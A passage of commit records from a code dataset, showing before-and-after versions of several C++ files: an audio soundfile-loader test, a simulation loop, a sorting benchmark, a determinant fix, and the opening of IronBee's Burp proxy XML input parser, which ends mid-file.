successfully\",\n\t\t\t\t\t\tresult2b,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 2C: set the target via an objectBasePtr\n        TTObjectBase* objectBasePtrToSampleMatrix = (TTObjectBase*)(TTPtr(testTargetMatrix)); \/\/ is there a better syntax for this?\n        \n        TTBoolean result2c = { testSoundfileLoader->setTargetMatrix(objectBasePtrToSampleMatrix) == kTTErrNone };\n        \n        TTTestAssertion(\"setTargetMatrix via ObjectBasePtr operates successfully\",\n\t\t\t\t\t\tresult2c,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 2D: set the target to a non-SampleMatrix, should FAIL\n        TTObjectBase* ptrToNonSampleMatrix;\n        \n        TTObjectBaseInstantiate(\"delay\", (TTObjectBasePtr*)&ptrToNonSampleMatrix, kTTValNONE);\n        \n        TTBoolean result2d = { testSoundfileLoader->setTargetMatrix(ptrToNonSampleMatrix) == kTTErrInvalidValue };\n        \n        TTTestAssertion(\"setTargetMatrix returns error when not a SampleMatrix\",\n\t\t\t\t\t\tresult2d,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 3: copy one second of samplevalues\n        \n        TTBoolean result3 = { testSoundfileLoader->copyUntilFull() == kTTErrNone };\/\/false;\/\/\n        \n        TTTestAssertion(\"copyUntilFull operates successfully\",\n\t\t\t\t\t\tresult3,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \n        \n        \n        \/\/ TEST X prep\n        TTValue loadInput, loadOuput;\n        loadInput.append(TT(TESTFILE));\n        loadInput.append(testTargetMatrix);\n        \n        \/* \/\/ TEST X: use the public method to perform loading action\n         \/\/ the final test, not working yet\n        TTBoolean resultX = { load(loadInput, loadOuput) == kTTErrNone };\n        \n        TTTestAssertion(\"load operates successfully\",\n\t\t\t\t\t\tresultX,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        *\/\n        \n        \/\/ releasing objects, TODO: is this sufficient?\n        testSoundfileLoader = NULL;\n        testTargetMatrix = NULL;\n        objectBasePtrToSampleMatrix = NULL;\n        ptrToNonSampleMatrix = NULL;\n        \n    }\n    \n    return TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n}\n<commit_msg>quick test of public TTSoundfileLoader:load() methods works now.<commit_after>\/** @file\n *\n * @ingroup dspSoundFileLib\n *\n * @brief Tests for the #TTSoundfileLoader class\n *\n * @details Tests the core functions of the TTSoundfileLoader class in order to ensure that things are working after a build. It also demostrate how to make calls to common methods within the class.@n \n * IMPORTANT NOTE: Because POSIX filepaths will be specific to your system, it is important to change the TESTFILE definitions in this file to match a local absolute address. The related TEST definitions should also be set to match the attribution of the file which can be obtained via your sound file editor of choice. \n *\n * @authors Nathan Wolek\n *\n * @copyright Copyright © 2013 by Nathan Wolek @n\n * This code is licensed under the terms of the \"New BSD License\" @n\n * http:\/\/creativecommons.org\/licenses\/BSD\/\n *\/\n\n#include \"TTSoundfileLoader.h\"\n#include \"TTUnitTest.h\"\n\n\/* \n #define TESTFILE \"\/Users\/nathanwolek\/Desktop\/geese_clip.aif\"\n #define TESTNUMCHANNELS 2\n #define TESTSAMPLERATE 44100\n #define TESTDURATIONINSAMPLES 88202\n #define TESTDURATIONINSECONDS 2.00004535\n #define TESTTITLE \"\"\n #define TESTARTIST \"\"\n #define TESTDATE \"\"\n #define TESTANNOTATION \"\"\n *\/\n\n\/* *\/\n #define TESTFILE \"\/Volumes\/Storage\/Audio\/200604femf15\/pitched\/ding_b2.aiff\"\n#define TESTNUMCHANNELS 1\n#define TESTSAMPLERATE 44100\n#define TESTDURATIONINSAMPLES 39493\n#define TESTDURATIONINSECONDS 0.89553288\n#define TESTTITLE \"\"\n#define TESTARTIST \"\"\n#define TESTDATE \"\"\n#define TESTANNOTATION \"\"\n\/* *\/\n\n\/*\n #define TESTFILE \"\/Volumes\/Storage\/Audio\/200604femf15\/ambience\/street.aiff\"\n #define TESTNUMCHANNELS 1\n #define TESTSAMPLERATE 44100\n #define TESTDURATIONINSAMPLES 4750848\n #define TESTDURATIONINSECONDS 107.728980\n #define TESTTITLE \"UF Street\"\n #define TESTARTIST \"MPG\"\n #define TESTDATE \"2006\"\n #define TESTANNOTATION \"\"\n *\/\n\nTTErr TTSoundfileLoader::test(TTValue& returnedTestInfo)\n{\n    int errorCount = 0;\n    int testAssertionCount = 0;\n    \n    {\n        \n        \n\t\tTTTestLog(\"\\n\");\n\t\tTTTestLog(\"Testing TTSoundfileLoader Basics...\");\n\t\t\n\t\tTTSoundfileLoaderPtr testSoundfileLoader = NULL;\n        TTSampleMatrixPtr testTargetMatrix = NULL;\n        TTErr err;\n\t\t\n        \/\/ TEST 0: instantiate the object to a pointer\n        TTBoolean result0 = { TTObjectBaseInstantiate(\"soundfile.loader\", (TTObjectBasePtr*)&testSoundfileLoader, kTTValNONE) == kTTErrNone};\n        \n\t\tTTTestAssertion(\"instantiates successfully\",\n\t\t\t\t\t\tresult0,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 1: set the filepath\n        TTBoolean result1 = { testSoundfileLoader->setFilePath(TT(TESTFILE)) == kTTErrNone };\n        \n        TTTestAssertion(\"setFilePath operates successfully\",\n                        result1,\n                        testAssertionCount,\n                        errorCount);\n        \n        \/\/ TEST 2: instantiate a TTSampleMatrix and set is as the target\n        TTBoolean result2 = { TTObjectBaseInstantiate(\"samplematrix\", (TTObjectBasePtr*)&testTargetMatrix, kTTValNONE) == kTTErrNone};\n        \n        \/\/ set up the samplematrix\n        testTargetMatrix->setAttributeValue(\"numChannels\", 1);\n        testTargetMatrix->setAttributeValue(\"lengthInSeconds\", 0.5);\n        \n        TTInt32 lengthReturn, channelsReturn;\n        \n        testTargetMatrix->getAttributeValue(\"numChannels\", channelsReturn);\n        testTargetMatrix->getAttributeValue(\"lengthInSamples\", lengthReturn);\n        \n        TTTestLog(\"samplematrix now has %i samples and %i channels\", lengthReturn, channelsReturn);\n        \n        TTBoolean result2b = { testSoundfileLoader->setTargetMatrix(testTargetMatrix) == kTTErrNone };\n        \n        TTTestAssertion(\"setTargetMatrix operates successfully\",\n\t\t\t\t\t\tresult2b,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 2C: set the target via an objectBasePtr\n        TTObjectBase* objectBasePtrToSampleMatrix = (TTObjectBase*)(TTPtr(testTargetMatrix)); \/\/ is there a better syntax for this?\n        \n        TTBoolean result2c = { testSoundfileLoader->setTargetMatrix(objectBasePtrToSampleMatrix) == kTTErrNone };\n        \n        TTTestAssertion(\"setTargetMatrix via ObjectBasePtr operates successfully\",\n\t\t\t\t\t\tresult2c,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 2D: set the target to a non-SampleMatrix, should FAIL\n        TTObjectBase* ptrToNonSampleMatrix;\n        \n        TTObjectBaseInstantiate(\"delay\", (TTObjectBasePtr*)&ptrToNonSampleMatrix, kTTValNONE);\n        \n        TTBoolean result2d = { testSoundfileLoader->setTargetMatrix(ptrToNonSampleMatrix) == kTTErrInvalidValue };\n        \n        TTTestAssertion(\"setTargetMatrix returns error when not a SampleMatrix\",\n\t\t\t\t\t\tresult2d,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \/\/ TEST 3: copy one second of samplevalues\n        \n        TTBoolean result3 = { testSoundfileLoader->copyUntilFull() == kTTErrNone };\/\/false;\/\/\n        \n        TTTestAssertion(\"copyUntilFull operates successfully\",\n\t\t\t\t\t\tresult3,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \n        \n        \n        \/\/ TEST X prep\n        TTValue loadInput, loadOuput;\n        loadInput.append(TT(TESTFILE));\n        loadInput.append(objectBasePtrToSampleMatrix);\n        \n        \/\/ TEST X: use the public method to perform loading action\n        \/\/ the final test, not working yet\n        TTBoolean resultX = { load(loadInput, loadOuput) == kTTErrNone };\n        \n        TTTestAssertion(\"load operates successfully\",\n\t\t\t\t\t\tresultX,\n\t\t\t\t\t\ttestAssertionCount,\n\t\t\t\t\t\terrorCount);\n        \n        \n        \/\/ releasing objects, TODO: is this sufficient?\n        testSoundfileLoader = NULL;\n        testTargetMatrix = NULL;\n        objectBasePtrToSampleMatrix = NULL;\n        ptrToNonSampleMatrix = NULL;\n        \n    }\n    \n    return TTTestFinish(testAssertionCount, errorCount, returnedTestInfo);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Header Include\n#include \"simEntry.hpp\"\n\nvoid simInit(sharedStage* sharedDataAccess) {\n  \/\/ Sim Wait Control Mutex\n  std::mutex simWaitMTX;\n  \/\/ Init Scenario\n  sim_obj simMain;\n\n  \/\/ Get Body Data from shared\n  simMain.updateLocalStore(sharedDataAccess);\n\n  \/\/ Check Exit Request\n  while (!sharedDataAccess->getStatus(1)) {\n    \/\/ Update Control\n    simMain.updateLocalControl(sharedDataAccess);\n\n    if(sharedDataAccess->getStatus(0)) { \/\/ Update Local from Render\n      if(!sharedDataAccess->newSScenarioCheck()) {\n        simMain.updateLocalStore(sharedDataAccess);\n      }\n    } else { \/\/ Update Shared from Sim\n      \/\/ Check for pause or exit request\n      if(!(sharedDataAccess->getStatus(0) | sharedDataAccess->getStatus(1))) {\n        for(int icnt = 0; icnt < simMain.getIPF(); icnt++) {\n          simMain.itteration();\n          \/\/ Drop out if exit request\n          if(sharedDataAccess->getStatus(1)) break;\n        }\n      }\n      simMain.updateSharedArea(sharedDataAccess);\n    }\n\n    \/\/ Wait for data change\n    std::unique_lock<std::mutex> uniqueSimWaitMTX(simWaitMTX);\n    sharedDataAccess->simWait.wait(uniqueSimWaitMTX);\n\n  }\n  \/\/ Sim Now Exits\n}\n<commit_msg>Repaired sim update<commit_after>\/\/ Header Include\n#include \"simEntry.hpp\"\n\nvoid simInit(sharedStage* sharedDataAccess) {\n  \/\/ Sim Wait Control Mutex\n  std::mutex simWaitMTX;\n  \/\/ Init Scenario\n  sim_obj simMain;\n\n  \/\/ Get Body Data from shared\n  simMain.updateLocalStore(sharedDataAccess);\n\n  \/\/ Check Exit Request\n  while (!sharedDataAccess->getStatus(1)) {\n    \/\/ Update Control\n    simMain.updateLocalControl(sharedDataAccess);\n\n    if(sharedDataAccess->getStatus(0)) { \/\/ Update Local from Render\n      simMain.updateLocalStore(sharedDataAccess);\n    } else { \/\/ Update Shared from Sim\n      \/\/ Check for pause or exit request\n      if(!(sharedDataAccess->getStatus(0) | sharedDataAccess->getStatus(1))) {\n        for(int icnt = 0; icnt < simMain.getIPF(); icnt++) {\n          simMain.itteration();\n          \/\/ Drop out if exit request\n          if(sharedDataAccess->getStatus(1)) break;\n        }\n      }\n      simMain.updateSharedArea(sharedDataAccess);\n    }\n\n    \/\/ Wait for data change\n    std::unique_lock<std::mutex> uniqueSimWaitMTX(simWaitMTX);\n    sharedDataAccess->simWait.wait(uniqueSimWaitMTX);\n\n  }\n  \/\/ Sim Now Exits\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include \"make_random_data\/make_random_data.hpp\"\n#include \"sort\/merge.hpp\"\n#include \"sort\/selection.hpp\"\n#include \"sort\/insertion.hpp\"\n#include \"sort\/bubble.hpp\"\n\n#define MIN_SIZE    100\n#define MAX_SIZE    100000\n#define SIZE_STEP   10\n\nint main(void)\n{\n    int *original = make_random_data(MAX_SIZE);\n\n    for(int size_of_data = MIN_SIZE; size_of_data <= MAX_SIZE; size_of_data *= SIZE_STEP)\n    {\n        printf(\"SIZE OF DATA: %d\\n\", size_of_data);\n\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            merge(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Merge:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            insertion(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Insertion:\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            selection(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Selection:\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            bubble(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Bubble:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n\n        putchar('\\n');\n    }\n\n    free_random_data(original);\n\n    return 0;\n}\n<commit_msg>Add Quick sort to main()<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include \"make_random_data\/make_random_data.hpp\"\n#include \"sort\/quick.hpp\"\n#include \"sort\/merge.hpp\"\n#include \"sort\/selection.hpp\"\n#include \"sort\/insertion.hpp\"\n#include \"sort\/bubble.hpp\"\n\n#define MIN_SIZE    100\n#define MAX_SIZE    100000\n#define SIZE_STEP   10\n\nint main(void)\n{\n    int *original = make_random_data(MAX_SIZE);\n\n    for(int size_of_data = MIN_SIZE; size_of_data <= MAX_SIZE; size_of_data *= SIZE_STEP)\n    {\n        printf(\"SIZE OF DATA: %d\\n\", size_of_data);\n\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            quick(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Quick:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            merge(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Merge:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            insertion(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Insertion:\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            selection(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Selection:\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            bubble(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Bubble:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n\n        putchar('\\n');\n    }\n\n    free_random_data(original);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"mathutils.h\"\n\nQList<Number> MathUtils::productListNumber(QList<Number> list, Number number)\n{\n\tQList<Number> result;\n\n\tforeach (Number element, list) {\n\t\tresult << element * number;\n\t}\n\n\treturn result;\n}\n\nQList<Number> MathUtils::diffListList(QList<Number> source, QList<Number> subtractin)\n{\n\tQList<Number> result;\n\n\tfor (int i = 0; i < source.size(); i++) {\n\t\tresult << source[i] - subtractin[i];\n\t}\n\n\treturn result;\n}\n\nQList<Number> MathUtils::sumListList(QList<Number> source, QList<Number> item)\n{\n\tQList<Number> result;\n\n\tfor (int i = 0; i < source.size(); i++) {\n\t\tresult << source[i] + item[i];\n\t}\n\n\treturn result;\n}\n\nNumber MathUtils::productListList(QList<Number> source, QList<Number> item)\n{\n\tNumber result = 0;\n\n\tfor (int i = 0; i < source.size(); i++) {\n\t\tresult += source[i] * item[i];\n\t}\n\n\treturn result;\n}\n\nNumber MathUtils::modulusList(QList<Number> list)\n{\n\tNumber result = 0;\n\n\tforeach (Number element, list) {\n\t\tresult += qPow(element, 2);\n\t}\n\n\treturn qSqrt(result);\n}\n\nQList<Number> MathUtils::quotientListNumber(QList<Number> source, Number divisor)\n{\n\tQList<Number> result;\n\n\tforeach (Number element, source) {\n\t\tresult << element \/ divisor;\n\t}\n\n\treturn result;\n}\n\nNumber MathUtils::countDeterminant(QVector<QVector<Number> > matrix)\n{\n\tNumber result = 0;\n\n\tif (matrix.size() == 1) {\n\t\tresult = matrix[0][0];\n\t}\n\telse if (matrix.size() == 2) {\n\t\tresult = matrix[0][0] * matrix[1][1] - matrix[0][1] * matrix[1][0];\n\t}\n\telse {\n\t\t\/\/ Go threw first line\n\t\tfor (int i = 0; i < matrix.size(); i++) {\n\t\t\t\/\/ Initialize minor matrix\n\t\t\tQVector<QVector<Number> > minorMatrix;\n\t\t\tminorMatrix.resize(matrix.size() - 1);\n\t\t\tfor (int j = 0; j < minorMatrix.size(); j++) {\n\t\t\t\tminorMatrix[j].resize(matrix.size() - 1);\n\t\t\t}\n\n\t\t\t\/\/ Fill minor matrix\n\t\t\tfor (int j = 0; j < matrix.size(); j++) {\n\t\t\t\tint k = 0;\n\t\t\t\tfor (int l = 0; l < matrix.size(); l++) {\n\t\t\t\t\t\/\/ Don't conpy the minor column\n\t\t\t\t\tif (l != i) {\n\t\t\t\t\t\tminorMatrix[j - 1][k] = minorMatrix[j][l];\n\t\t\t\t\t\tk++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tresult +=\n\t\t\t\tqPow(-1, 1 + i + 1) *\n\t\t\t\tminorMatrix[0][i] *\n\t\t\t\tcountDeterminant(minorMatrix);\n\t\t}\n\t}\n\n\treturn result;\n}\n<commit_msg>Fix for counting determinant<commit_after>#include \"mathutils.h\"\n\nQList<Number> MathUtils::productListNumber(QList<Number> list, Number number)\n{\n\tQList<Number> result;\n\n\tforeach (Number element, list) {\n\t\tresult << element * number;\n\t}\n\n\treturn result;\n}\n\nQList<Number> MathUtils::diffListList(QList<Number> source, QList<Number> subtractin)\n{\n\tQList<Number> result;\n\n\tfor (int i = 0; i < source.size(); i++) {\n\t\tresult << source[i] - subtractin[i];\n\t}\n\n\treturn result;\n}\n\nQList<Number> MathUtils::sumListList(QList<Number> source, QList<Number> item)\n{\n\tQList<Number> result;\n\n\tfor (int i = 0; i < source.size(); i++) {\n\t\tresult << source[i] + item[i];\n\t}\n\n\treturn result;\n}\n\nNumber MathUtils::productListList(QList<Number> source, QList<Number> item)\n{\n\tNumber result = 0;\n\n\tfor (int i = 0; i < source.size(); i++) {\n\t\tresult += source[i] * item[i];\n\t}\n\n\treturn result;\n}\n\nNumber MathUtils::modulusList(QList<Number> list)\n{\n\tNumber result = 0;\n\n\tforeach (Number element, list) {\n\t\tresult += qPow(element, 2);\n\t}\n\n\treturn qSqrt(result);\n}\n\nQList<Number> MathUtils::quotientListNumber(QList<Number> source, Number divisor)\n{\n\tQList<Number> result;\n\n\tforeach (Number element, source) {\n\t\tresult << element \/ divisor;\n\t}\n\n\treturn result;\n}\n\nNumber MathUtils::countDeterminant(QVector<QVector<Number> > matrix)\n{\n\tNumber result = 0;\n\n\tif (matrix.size() == 1) {\n\t\tresult = matrix[0][0];\n\t}\n\telse if (matrix.size() == 2) {\n\t\tresult = matrix[0][0] * matrix[1][1] - matrix[0][1] * matrix[1][0];\n\t}\n\telse {\n\t\t\/\/ Go threw first line\n\t\tfor (int i = 0; i < matrix.size(); i++) {\n\t\t\t\/\/ Initialize minor matrix\n\t\t\tQVector<QVector<Number> > minorMatrix;\n\t\t\tminorMatrix.resize(matrix.size() - 1);\n\t\t\tfor (int j = 0; j < minorMatrix.size(); j++) {\n\t\t\t\tminorMatrix[j].resize(matrix.size() - 1);\n\t\t\t}\n\n\t\t\t\/\/ Fill minor matrix\n\t\t\tfor (int j = 1; j < matrix.size(); j++) {\n\t\t\t\tint k = 0;\n\t\t\t\tfor (int l = 0; l < matrix.size(); l++) {\n\t\t\t\t\t\/\/ Don't copy the minor column\n\t\t\t\t\tif (l != i) {\n\t\t\t\t\t\tminorMatrix[j - 1][k] = matrix[j][l];\n\t\t\t\t\t\tk++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tresult +=\n\t\t\t\tqPow(-1, 1 + i + 1) *\n\t\t\t\tmatrix[0][i] *\n\t\t\t\tcountDeterminant(minorMatrix);\n\t\t}\n\t}\n\n\treturn result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Licensed to Qualys, Inc. (QUALYS) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * QUALYS licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\/\n\n\/**\n * @file\n * @brief IronBee --- CLIPP Burp Generator.\n *\n * @author Sam Baskinger <sbaskinger@qualys.com>\n *\/\n\n\n#include <burp_generator.hpp>\n#include <clipp\/input.hpp>\n\n#include <stdexcept>\n#include <vector>\n\n#ifdef __clang__\n#pragma clang diagnostic push\n#if __has_warning(\"-Wunknown-attributes\")\n#pragma clang diagnostic ignored \"-Wunknown-attributes\"\n#endif\n#endif\n#include <libxml\/tree.h>\n#include <libxml\/parser.h>\n#include <libxml\/xpath.h>\n#ifdef __clang__\n#pragma clang diagnostic pop\n#endif\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/throw_exception.hpp>\n\n#ifdef __clang__\n#pragma clang diagnostic push\n#if __has_warning(\"-Wunused-local-typedef\")\n#pragma clang diagnostic ignored \"-Wunused-local-typedef\"\n#endif\n#endif\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/algorithm\/string\/regex.hpp>\n#ifdef __clang__\n#pragma clang diagnostic pop\n#endif\n\n#include <modp_b64.h>\n\nnamespace IronBee {\nnamespace CLIPP {\n\nnamespace {\n\n\/**\n * This class handles processing Burp proxy XML files.\n *\n * It is responcible for allocating and destroying C objects\n * and breaking up the XML file processing into relevant parts.\n *\/\nclass BurpProcessor {\n\npublic:\n    \/**\n     * Constructor for a BurpProcessor.\n     *\n     * @param[in] file XML input file.\n     * @throws std::runtime_error on any failure.\n     *\/\n    BurpProcessor(const char *file);\n\n    \/**\n     * Process the next <item> tag of the Burp proxy xml file.\n     *\n     * This opens a new connection for each <item>. Then records\n     * the raw <request> and <response> contents.\n     *\n     * @param[in] input The input to have events recorded to.\n     * @returns True if an <item> tag was processed. False otherwise.\n     *\/\n    bool operator()(Input::input_p& input);\n\n    \/\/! Called by operator() to record and open\/close connection events.\n    void initialize_input(Input::input_p& out_input, xmlNodePtr item);\n\n    \/\/! Called by operator() to process the tx in an <item>.\n    void process_tx(Input::input_p& out_input, xmlNodePtr item);\n\n    \/\/! Cleanup libxml2 state.\n    ~BurpProcessor();\n\nprivate:\n    \/\/! Document.\n    xmlDocPtr m_doc;\n    \/\/! Current node being operated on. This should probably be a local val.\n    xmlNodePtr m_cur;\n    \/\/! Context for XPath operations.\n    xmlXPathContextPtr m_xpath_ctx;\n    \/\/! XPath for \/items\/item which is the section of the file of interest.\n    xmlXPathObjectPtr m_xpath_obj;\n    \/\/! Index into m_xpath_obj node table.\n    size_t m_item_idx;\n\n\n    \/**\n     * Store strings that must live the duration this object.\n     *\n     * Because Clipp tries to avoid copying data, the lifetime of\n     * a string must go beyond a function call.\n     * This is a list of strings we allocate and must clean up\n     * when this object is eventually destroyed.\n     *\/\n    std::list<std::string> m_strings;\n\n    \/**\n     * Compare @a name to the XML node name.\n     *\n     * @param[in] name The name to check for.\n     * @param[in] node The node to extract and compare the name to.\n     *\n     * @return True of @a name matches @a node->name, false otherwise.\n     *\/\n    bool name_is(const char * name, xmlNodePtr node);\n\n    \/**\n     * Recursively serialize the TEXT contents of @a node.\n     *\n     * The algorithm is that for every child node\n     * that has no children, the content is appended to a string.\n     * If a child has children, those children are recursively\n     * processed in a depth-first traversal of the node tree.\n     *\n     * @param[in] node The node to serialize all the contents of.\n     *\/\n    std::string nodeContent(const xmlNodePtr node);\n\n    \/**\n     * Using BurpGenerator::nodeContent() convert @a node to a Buffer.\n     *\n     * This will intern the string prodcued in the m_strings\n     * collection so that it will not be destroyed and the Buffer\n     * can reference that memory.\n     *\n     * @param[in] node The node to get the content of.\n     *\/\n    Input::Buffer nodeContentToBuffer(const xmlNodePtr node);\n\n    static const xmlChar* BASE_64_PROP;\n};\n\nconst xmlChar* BurpProcessor::BASE_64_PROP =\n    reinterpret_cast<const xmlChar*>(\"base64\");\n\nBurpProcessor::BurpProcessor(const char *file)\n:\n    m_doc(xmlParseFile(file)),\n    m_cur(NULL),\n    m_xpath_ctx(NULL),\n    m_xpath_obj(NULL),\n    m_item_idx(0)\n{\n    \/\/ Document failed to parse.\n    if (m_doc == NULL ) {\n        \/\/ We are in a constructor. Destroy m_doc manually.\n        xmlFreeDoc(m_doc);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Cannot parse XML file.\")\n        );\n    }\n\n    \/\/ Current root node.\n    m_cur = xmlDocGetRootElement(m_doc);\n    if (m_cur == NULL) {\n        \/\/ We are in a constructor. Destroy m_doc manually.\n        xmlFreeDoc(m_doc);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Empty file.\")\n        );\n    }\n\n    m_xpath_ctx = xmlXPathNewContext(m_doc);\n    if (m_xpath_ctx == NULL) {\n        \/\/ We are in a constructor. Destroy m_doc manually.\n        xmlFreeDoc(m_doc);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Failed to allocate an XPath context.\")\n        );\n    }\n\n    \/\/ Grab all \/items\/item blocks.\n    m_xpath_obj = xmlXPathEval(\n        reinterpret_cast<const xmlChar*>(\"\/items\/item\"),\n        m_xpath_ctx\n    );\n    if (m_xpath_obj == NULL) {\n        \/\/ We are in a constructor. Destroy m_doc and m_xpath_ctx manually.\n        xmlFreeDoc(m_doc);\n        xmlXPathFreeContext(m_xpath_ctx);\n        BOOST_THROW_EXCEPTION(\n            std::runtime_error(\"Failed to allocate XPath \/items\/item.\")\n        );\n    }\n}\n\nBurpProcessor::~BurpProcessor()\n{\n    xmlXPathFreeObject(m_xpath_obj);\n    xmlXPathFreeContext(m_xpath_ctx);\n    xmlFreeDoc(m_doc);\n}\n\nbool BurpProcessor::operator()(Input::input_p& input)\n{\n    \/\/ For each item node.\n    if (m_item_idx < m_xpath_obj->nodesetval->nodeNr)\n    {\n        xmlNodePtr node = m_xpath_obj->nodesetval->nodeTab[m_item_idx];\n\n        initialize_input(input, node);\n\n        process_tx(input, node);\n\n        ++m_item_idx;\n\n        return true;\n    }\n    else {\n       return false;\n    }\n}\n\nvoid BurpProcessor::process_tx(Input::input_p& out_input, xmlNodePtr item)\n{\n    Input::Buffer request;\n    Input::Buffer response;\n    for (xmlNodePtr i = item->children; i != NULL; i = i->next) {\n        if (name_is(\"request\", i)) {\n            request = nodeContentToBuffer(i);\n        }\n        else if (name_is(\"response\", i)) {\n            response = nodeContentToBuffer(i);\n        }\n    }\n\n    out_input->connection.add_transaction(request, response);\n}\n\nvoid BurpProcessor::initialize_input(Input::input_p& out_input, xmlNodePtr item)\n{\n\n    Input::Buffer local_ip(\"1.2.3.4\", 7);\n    uint32_t      local_port  = 80;\n    Input::Buffer remote_ip(\"5.6.7.8\", 7);\n    uint32_t      remote_port = 1234;\n\n    for (xmlNodePtr i = item->children; i != NULL; i = i->next) {\n        if (name_is(\"host\", i)) {\n            local_ip = nodeContentToBuffer(i);\n        }\n        else if (name_is(\"port\", i)) {\n            local_port = atoi(nodeContent(i).c_str());\n        }\n    }\n\n    \/\/ Record 2 events - pre-tx connection open and a post-tx connection close.\n    out_input->connection.connection_opened(\n        local_ip,\n        local_port,\n        remote_ip,\n        remote_port\n    );\n}\n\nbool BurpProcessor::name_is(const char * name, xmlNodePtr node)\n{\n    \/\/ For the range of values it is OK to reinterpret_cast\n    \/\/ what is an unsigned char* to a char*.\n    return boost::iequals(\n        reinterpret_cast<const char*>(node->name),\n        name\n    );\n}\n\nstd::string BurpProcessor::nodeContent(const xmlNodePtr node)\n{\n    \/\/ If this is a text node, serialize it to a string.\n    if (node->type == XML_TEXT_NODE) {\n        size_t len = strlen(reinterpret_cast<const char *>(node->content));\n        std::string content(node->content, node->content + len);\n        return content;\n    }\n    \/\/ Assume any node with no children might have text.\n    else if (node->children == NULL) {\n        size_t len = strlen(reinterpret_cast<const char *>(node->content));\n        std::string content(node->content, node->content + len);\n        return content;\n    }\n    \/\/ In all other cases, try to descend the tree, depth first.\n    else {\n        std::string content;\n        for (xmlNodePtr i = node->children; i != NULL; i = i->next) {\n            content += nodeContent(i);\n        }\n        return content;\n    }\n}\n\nInput::Buffer 